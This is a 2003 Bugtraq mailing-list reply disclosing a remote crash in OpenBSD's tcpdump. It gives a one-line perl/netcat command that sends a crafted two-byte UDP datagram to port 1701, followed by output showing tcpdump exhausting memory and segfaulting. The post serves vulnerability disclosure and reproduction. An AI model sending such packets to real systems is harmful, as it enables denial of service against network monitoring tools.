bugtraq - Re: Remote crash in tcpdump from OpenBSD

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Date: Sat, 20 Dec 2003 23:18:41 +0100
From: Przemyslaw Frasunek <venglin@...ebsd.lublin.pl>
To: Henning Brauer <hb-bugtraq@...s.de>
Cc: bugtraq@...urityfocus.com
Subject: Re: Remote crash in tcpdump from OpenBSD


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Henning Brauer wrote:
>>	tcpdump -i lo0 -n udp and dst port 1701 &
>>	perl -e 'print "\xff\x02"' | nc -u localhost 1701
> several developers including me cannot reproduce that on -current.

Sorry for the misinformation, it will not work on a loopback interface,
but it's perfectly repetable when receiving/routing such datagram on
ethernet interfaces:

<root@...-fw:/var/log:273># uname -smr ; tcpdump -V 2>&1 | head -n 2
OpenBSD 3.3 i386
tcpdump version 3.4.0
libpcap version 0.5
<root@...-fw:/var/log:274># tcpdump -i xl1
tcpdump: listening on xl1

On the another box:

riget:root:~# perl -e 'print "\xff\x02"' | nc -u x.x.x.x 1701

and tcpdump goes mad:

[...]
invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid
AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256
invalid AVP 256  invalid AVP 256  invalid AVP 256  invalid AVP 256
 [...]

consuming all memory. When ulimits are reached, it segfaults.

- --
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